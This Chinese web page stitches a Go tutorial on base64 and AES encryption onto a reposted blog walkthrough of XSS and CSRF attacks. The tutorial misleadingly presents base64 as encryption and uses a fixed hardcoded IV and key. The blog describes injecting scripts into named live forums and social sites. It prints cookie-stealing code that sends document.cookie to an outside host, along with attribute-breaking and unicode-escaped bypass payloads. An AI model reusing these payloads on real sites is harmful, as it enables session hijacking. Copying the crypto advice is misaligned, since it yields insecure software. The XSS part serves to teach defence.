前面小节介绍了如何存储密码，但是有的时候，我们想把一些敏感数据加密后存储起来，在将来的某个时候，随需将它们解密出来，此时我们应该在选用对称加密算法来满足我们的需求。
base64加解密
如果Web应用足够简单，数据的安全性没有那么严格的要求，那么可以采用一种比较简单的加解密方法是
base64，这种方式实现起来比较简单，Go语言的base64包已经很好的支持了这个，请看下面的例子：package main import (
"encoding/base64"
"fmt"
) func base64Encode(src []byte) []byte {
return []byte(base64.StdEncoding.EncodeToString(src))
} func base64Decode(src []byte) ([]byte, error) {
return base64.StdEncoding.DecodeString(string(src))
} func main() {
// encode
hello := "你好，世界！ hello world"
debyte := base64Encode([]byte(hello))
fmt.Println(debyte)
// decode
enbyte, err := base64Decode(debyte)
if err != nil {
fmt.Println(err.Error())
} if hello != string(enbyte) {
fmt.Println("hello is not equal to enbyte")
} fmt.Println(string(enbyte))
}高级加解密
Go语言的
crypto里面支持对称加密的高级加解密包有：
crypto/aes包：AES(Advanced Encryption Standard)，又称Rijndael加密法，是美国联邦*采用的一种区块加密标准。crypto/des包：DES(Data Encryption Standard)，是一种对称加密标准，是目前使用最广泛的密钥系统，特别是在保护金融数据的安全中。曾是美国联邦*的加密标准，但现已被AES所替代。因为这两种算法使用方法类似，所以在此，我们仅用aes包为例来讲解它们的使用，请看下面的例子
package main import (
"crypto/aes"
"crypto/cipher"
"fmt"
"os"
) var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} func main() {
//需要去加密的字符串
plaintext := []byte("My name is Astaxie")
//如果传入加密串的话，plaint就是传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
} //aes的加密字符串
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
} fmt.Println(len(key_text)) // 创建加密算法aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
} //加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext) // 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}上面通过调用函数
aes.NewCipher(参数key必须是16、24或者32位的[]byte，分别对应AES-128, AES-192或AES-256算法),返回了一个cipher.Block接口，这个接口实现了三个功能：type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int // Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte) // Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}这三个函数实现了加解密操作，详细的操作请看上面的例子。
总结
这小节介绍了几种加解密的算法，在开发Web应用的时候可以根据需求采用不同的方式进行加解密，一般的应用可以采用base64算法，更加高级的话可以采用aes或者des算法。
9.7 小结
这一章主要介绍了如：CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法，它们都是由于应用对用户的输入没有很好的过滤引起的，所以除了介绍攻击的方法外，我们也介绍了了如何有效的进行数据过滤，以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件，介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了，Go语言提供三种对称加密算法：base64、aes和des的实现。
编写这一章的目的是希望读者能够在意识里面加强安全概念，在编写Web应用的时候多留心一点，以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包，我们可以充分的利用这些包来做出一个安全的Web应用。
1
1
1
关于XSS（跨站脚本攻击）和CSRF（跨站请求伪造）
我们常说的网络安全其实应该包括以下三方面的安全： 1、机密性，比如用户的隐私被窃取，帐号被盗，常见的方式是木马。 2、完整性，比如数据的完整，举个例子，康熙传位十四子，被当时四阿哥篡改遗诏：传位于四子，当然这是传说，常见的方式是XSS跨站脚本攻击和csrf跨站请求伪造。 3、可用性，比如我们的网络服务是否可用，常用的攻击方式是dos和ddos，拒绝服务和分布式拒绝服务攻击。
本文主要讲述xss和csrf的攻击，配合实例讲述这2者攻击的危害性以及一些防范的措施，有讲的不对或者不完整的地方欢迎大大们补充说明。
注：本站攻击的例子都是原生的实例，并没有借鉴网上的例子，另外请各位大侠高抬贵手不要随便乱试哦~，本文旨在指出攻击的手段和防范的方法。
XSS是什么？它的全名是：Cross-site scripting，为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。 而CSRF是什么呢？CSRF全名是Cross-site request forgery，是一种对网站的恶意利用，CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。
session我想大家都不陌生，无论你用.net或PHP开发过网站的都肯定用过session对象，然而session它是如何工作的呢？如果你不清楚请往下看。 先问个小问题：如果我把浏览器的cookie禁用了，大家认为session还能正常工作吗？
答案是否定的，我在这边举个简单的例子帮助大家理解session。 比如我买了一张高尔夫俱乐部的会员卡，俱乐部给了我一张带有卡号的会员卡。我能享受哪些权利（比如我是高级会员卡可以打19洞和后付费喝饮料，而初级会员卡只能在练习场挥杆）以及我的个人资料都是保存在高尔夫俱乐部的数据库里的。我每次去高尔夫俱乐部只需要出示这张高级会员卡，俱乐部就知道我是谁了，并且为我服务了。
这里我们的高级会员卡卡号 = 保存在cookie的sessionid； 而我的高级会员卡权利和个人信息就是服务端的session对象了。
我们知道http请求是无状态的，也就是说每次http请求都是独立的无关之前的操作的，但是每次http请求都会将本域下的所有cookie作为http请求头的一部分发送给服务端，所以服务端就根据请求中的cookie存放的sessionid去session对象中找到该会员资料了。 当然session的保存方法多种多样，可以保存在文件中，也可以内存里，考虑到分布式的横向扩展我们还是建议把它保存在第三方媒介中，比如redis或者mongodb。
我们理解了session的工作机制后，CSRF也就很容易理解了。CSRF攻击就相当于恶意用户A复制了我的高级会员卡，哪天恶意用户A也可以拿着这张假冒的高级会员卡去高尔夫俱乐部打19洞，享受美味的饮料了，而我在月底就会收到高尔夫俱乐部的账单！
了解CSRF的机制之后，危害性我相信大家已经不言而喻了，我可以伪造某一个用户的身份给其好友发送垃圾信息，这些垃圾信息的超链接可能带有木马程序或者一些诈骗信息（比如借钱之类的），如果CSRF发送的垃圾信息还带有蠕虫链接的话，那些接收到这些有害信息的好友万一打开私信中的连接就也成为了有害信息的散播着，这样数以万计的用户被窃取了资料种植了木马。整个网站的应用就可能在瞬间奔溃，用户投诉，用户流失，公司声誉一落千丈甚至面临倒闭。曾经在MSN上，一个美国的19岁的小伙子Samy利用css的background漏洞几小时内让100多万用户成功的感染了他的蠕虫，虽然这个蠕虫并没有破坏整个应用，只是在每一个用户的签名后面都增加了一句“Samy 是我的偶像”，但是一旦这些漏洞被恶意用户利用，后果将不堪设想，同样的事情也曾经发生在新浪微博上面。
想要CSRF获取用户的信息，就必须XSS注入成功，下面的例子我只是简单的注入alert(‘xss’)，至于恶意用户完全可以把alert(‘xss’)换成他想要的任意的js代码，用来发送post或者get请求修改用户的资料，获取用户好友信息，伪造发送私信，甚至做成蠕虫散播到整个web应用，所以千万不要小看了XSS注入攻击带来的后果，并不是alert一个对话框那么简单！
下面我们就卷起袖子开始我们的XSS之旅：
1、实例：XSS注入名城苏州论坛 我是苏州人，我就先拿本地的官方论坛www.2500sz.com开刀吧。 我打开2500sz.com的论坛然后注册了一个帐号，发布一个新话题，输入以下代码：
上面的代码就是输入一个网络分享的图片，我在src中直接写入了javascript:alert(‘xss’)；操作成功后生成帖子，用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert(‘xss’)弹窗。
当然我会将标题设计的非常吸引人点击，比如 “陈冠希艳照又有流出2012版(20P无码)” ，这样如果我将里面的alert换成恶意代码，比如： location.href='http://www.xss.com?cookie=’+document.cookie；用户的cookie我也拿到了，如果服务端session没有设置过期的话，我以后甚至拿这个cookie而不需用户名密码，就可以以这个用户的身份登录成功了。 这里的location.href只是处于简单这样做，如果做了跳转这个帖子很快会被管理员删除，但是如果我写如下代码，并且帖子的内容也是比较真实的，说不定这个帖子就会*很多人：
var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点，我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。
2、还是苏州本地sns，苏州人社区 我们访问www.szr.com社区，这是一个面向于苏州人的sns社区，主要界面是抄袭的新浪微博。 注入尝试1：
直接输入<script>标签，发现php将单引号和双引号都转义了，而且也将<>这类符号过滤掉了，尝试失败，继续寻找突破口。
注入尝试2： 图片注入，有些sns社区可以让用户自己上传图片，然后填写ref属性或者title属性，这些属性往往会成为注入点，如果应用程序文件名没有修改的话也可能被注入。更有胜者，在新版本的discuz中，用户可以分享照片还可以查看照片的exif信息，比如光圈相机型号等等，有达人用软件修改了exif信息，在里面嵌入恶意js代码，然后吸引用户查看exif信息。 但是这个szr社区并不提供图片title设置，而且上传的图片都经过服务端的改名了。尝试再次失败，不气馁继续寻找突破口。
注入尝试3： 我们发现了视频这个按钮，这个功能可以通过视频的连接地址分享视频，比如我可以发优酷上的视频地址来分享给其他用户。于是我打开视频功能，在输入框中写入：
http://www.baidu.com/“onclick=alert('xss') title="xss"生成了如下图的情况：
虽然注入还是失败了，php将单引号转义了，但是我们发现szr社区并没有对我输入的url进行有效性验证，而且没有过滤双引号，所以导致了整个html的dom元素测漏了。测漏是一个术语，表示XSS攻击提前闭合了html标签。我们找到了突破口，下面就是如何处理掉讨人厌的转义反斜杠了。
注入尝试4： 既然单引号和双引号都被转义干掉了，我们就不能利用他们了，换一个思路我们可以绕过单引号和双引号输出字符串吗？答案是肯定的，我再添加视频路径，输入以下代码：
http://www.baidu.com/"onclick=alert(this.name) name=xss ref=xss构建成功后如图：
我们成功注入了onclick事件和name属性，接下来发生的事情就和我们想象中一样了
当用户点击了我们的视频按钮，弹出了对话框xss，我们注入成功了，喝杯椰奶庆祝下把！ 可能有些朋友会说那是因为php端没有验证视频的有效性，比如这段url放在浏览器中是无法打开的，只需要在后端简单请求一下这个地址就可以过滤掉这类攻击了，答案当然也是否定的，我们看如下代码：
http://www.baidu.com/#"onclick=alert(this.name) name=xss ref=xss你可以把这段url贴入到浏览器中，发现还是可以打开百度页面的。所以仅仅验证url的有效性是远远不够的。
3、人人围sns www.renrenwei.com是我之前单位的团队做的一个sns项目，我离职之后他们还在开发新版本，目前线上的版本XSS注入点之多令人结舌。几乎毫不设防，我们来简单看一下注入的流程：
人人围sns允许用户通过百度的edit发布文字分享，坑爹的是他竟然还允许直接编辑html标签
尝试1： 直接在edit中写入<script>标签，结果被过滤掉了，如此赤裸裸的注入还不被干掉简直太对不起老板了。
尝试2： 我们插入一张图片，打开html源码查看，直接在里面写上onload=“alert(‘xss’)”，见图：
上图我们插入了恶意代码，当图片onload事件结束就执行js脚本了
百度的edit果然坑爹了！弹出了xss，我们注入成功了，网站还有很多注入点，比如发视频等等不一一列举了。
4、ajax的json注入 一时也找不到例子，我就简单介绍一下这类注入的原理吧。现代网站为了加快加载和更好的用户体验，都大量使用了ajax，通信协议大部分是json字符串格式的，而页面为了多语言也使用了utf-8编码。
比如有这样的一个场景，是一篇博文的详细页，很多用户给这篇博文留言，为了加快页面加载速度，程序设计师要求先显示博文的内容，然后通过ajax去获取留言的第一页内容，通过ajax分页点击下一页获取第二页的留言。 这么做的好处有： A.加快了博文详细页的加载，因为留言信息往往有用户头像，昵称，id等等，需要多表查询而且一般用户会先看博文，再拉下去看留言，这时留言已经加载完毕了。 B.AJAX的留言分页能够更加快速的响应，用户不必让博文重新刷新一边，而是直接查看更多的留言。
看上去一切都很美好的，用户进入详细页，先慢慢看博文，此时ajax辛勤的工作去拿留言的内容，然后显示在页面底部，但是当制作这个页面的前端工程师用如下代码后事情就不那么美好了。大家能看出什么端倪来吗？
var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
if(data.state !== 200) return commentObj.html('留言加载失败。')
commentObj.html(data.content);
},'json');我们的设计初衷是，后端将留言内容套入模板，存入json格式如下： {state:200, content:“模板的字符串片段”} 然后输出这段模板中的代码。
如果没有看出问题，我们继续。我们尝试执行下面的代码：
$('div:first').html('<script>alert("xss")</script>');ok正常弹出了alert框xss，你可能觉得这比较小儿科，我们强大的php程序员经过上面3种情况的历练已经完全过滤掉和转义了尖括号<>还有单双引号了"’，所以上面的那串恶意代码会漂亮的变成如下字符打印到留言内容中。
<script> alert("xss")</script>先表扬一下我们的php程序员，做的很好可以将常规的一些xss注入都屏蔽掉了，但是在utf-8中，字符还有一种表示方式，那就是unicode码，我们把上面的恶意字符串改写成如下：
$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');HOHO，大家可以去有jquery的网站上打开firbug运行一下，发现还是输出了alert的xss，可见我们的注入又成功了，只是这次累一点，需要将写好的恶意代码放入转码器中做下转义。
当年的webqq曾经就报过上面这种 Unicode 的XSS注入漏洞！
最后做下unicode和utf-8的扫盲，他们之间的区别和联系。 因为ASCII（128位不够用，有些国家256都不够用），所以出现了Unicode (解决ASCII编码不够用的情况)，当然 Unicode 和我们的GB2312是完全毫无关系的，Unicode只是一个符号集，它只规定了符号的二进制代码，而utf-8是Unicode的实现方式之一，我们看UTF-8的英文全称就知道了：Unicode Transformation Format。 UTF-8最大的一个特点，就是它是一种变长的编码方式。它可以使用1~4个字节表示一个符号，根据不同的符号而变化字节长度，而Unicode 如果转变为16进制的话则是固定的长度的，这对某些英文字体来说是存储空间的浪费，我们看如下对应表就知道了：
Unicode符号范围 | UTF-8编码方式
(十六进制) | （二进制）
0000 0000-0000 007F | 0xxxxxxx
0000 0080-0000 07FF | 110xxxxx 10xxxxxx
0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx
0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxxJavascript利用\u表示unicode编码
尾声：XSS和CSRF一直存在于我们的身边，大家可以网上搜一下，大片片的漏洞介绍，包括新浪微博，webqq等大型公司的互联网应用也曾经或者还存在这类漏洞。 想要彻底抵御此类攻击确实比较困难，相信看了本文聪明的你心中肯定会有对策了。
原文博客地址：http://snoopyxdy.blog.163.com/blog/static/60117440201284103022779/
1
1
1
1
1
1
1
1
1
1
1
1
1